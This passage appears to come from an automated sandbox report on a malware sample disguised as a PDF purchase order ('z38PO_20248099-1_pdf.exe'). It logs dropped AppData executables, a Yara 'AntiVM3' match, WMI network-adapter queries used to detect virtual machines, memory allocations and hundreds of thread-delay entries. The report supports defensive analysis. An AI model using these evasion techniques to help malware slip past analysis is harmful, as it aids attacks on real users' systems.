Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: z38PO_20248099-1_pdf.exe PID: 7644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sgxIb.exe PID: 1792, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Memory allocated: FE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Memory allocated: 2BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Memory allocated: 28F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Memory allocated: 77B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Memory allocated: 87B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Memory allocated: 8950000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Memory allocated: 9950000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Memory allocated: 2610000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Memory allocated: 2840000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Memory allocated: 4840000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Memory allocated: 1450000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Memory allocated: 2F90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Memory allocated: 4F90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Memory allocated: 7940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Memory allocated: 8940000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Memory allocated: 8AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Memory allocated: 9AE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Memory allocated: 31D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Memory allocated: 3350000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Memory allocated: 5350000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 1700000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 3260000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 5260000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 7B00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 8B00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 8C90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 9C90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 3020000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 3070000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 5070000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: BF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 25C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 24F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 7030000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 8030000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 81D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 91D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 1510000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 3040000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Memory allocated: 5040000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599859	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599743	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599625	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599515	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599187	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 599078	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598963	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598733	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598462	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598124	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 598013	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 597012	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596273	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596156	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 596042	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 595679	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 595534	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 595418	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 595294	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 595152	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594593	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594375	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594265	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594156	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 594046	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 593936	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Thread delayed: delay time: 593812	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599890
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599781
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599671
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599561
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599449
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599343
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599234
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599125
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 599015
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598906
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598797
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598687
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598576
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598469
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598318
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598134
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 598002
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 597890
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 597775
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 597672
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 597168
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 597062
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596952
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596843
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596734
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596595
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596469
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596344
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596234
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596122
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 596015
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 595906
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 595797
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 595687
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 595568
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 594729
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 594625
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 594511
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 594406
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 594297
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 594187
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 594073
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593953
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593843
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593734
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593625
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593515
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593402
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593297
Source: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe	Thread delayed: delay time: 593187
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599766
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599641
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599529
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599422
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599313
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599188
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599063
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598938
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598828
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598719
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598594
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598484
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598375
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598155
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598008
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597906
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597797
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597688
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597563
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597438
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597328
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597219
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597094
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596984
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596875
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596766
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596656
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596547
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596437
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596328
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596219
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596094
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595984
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595869
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595719
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595608
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595500
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595371
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595151
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594985
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594813
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594656
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594547
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594437
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594328
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594200
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594092
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 593982
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 593874
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599891
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599766
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599641
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599516
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599406
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599297
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599188
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 599063
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598938
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598828
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598719
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598594
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598485
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598360
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598235
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 598110
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597985
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597860
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597735
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597610
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597485
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597360
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597235
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 597110
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596985
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596860
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596735
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596610
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596485
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596360
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596235
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 596110
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595985
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595860
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595675
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595562
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595453
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595339
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595235
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 595110
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594985
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594860
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594735
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594610
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594485
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594360
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594235
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 594110
Source: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe	Thread delayed: delay time: 593985

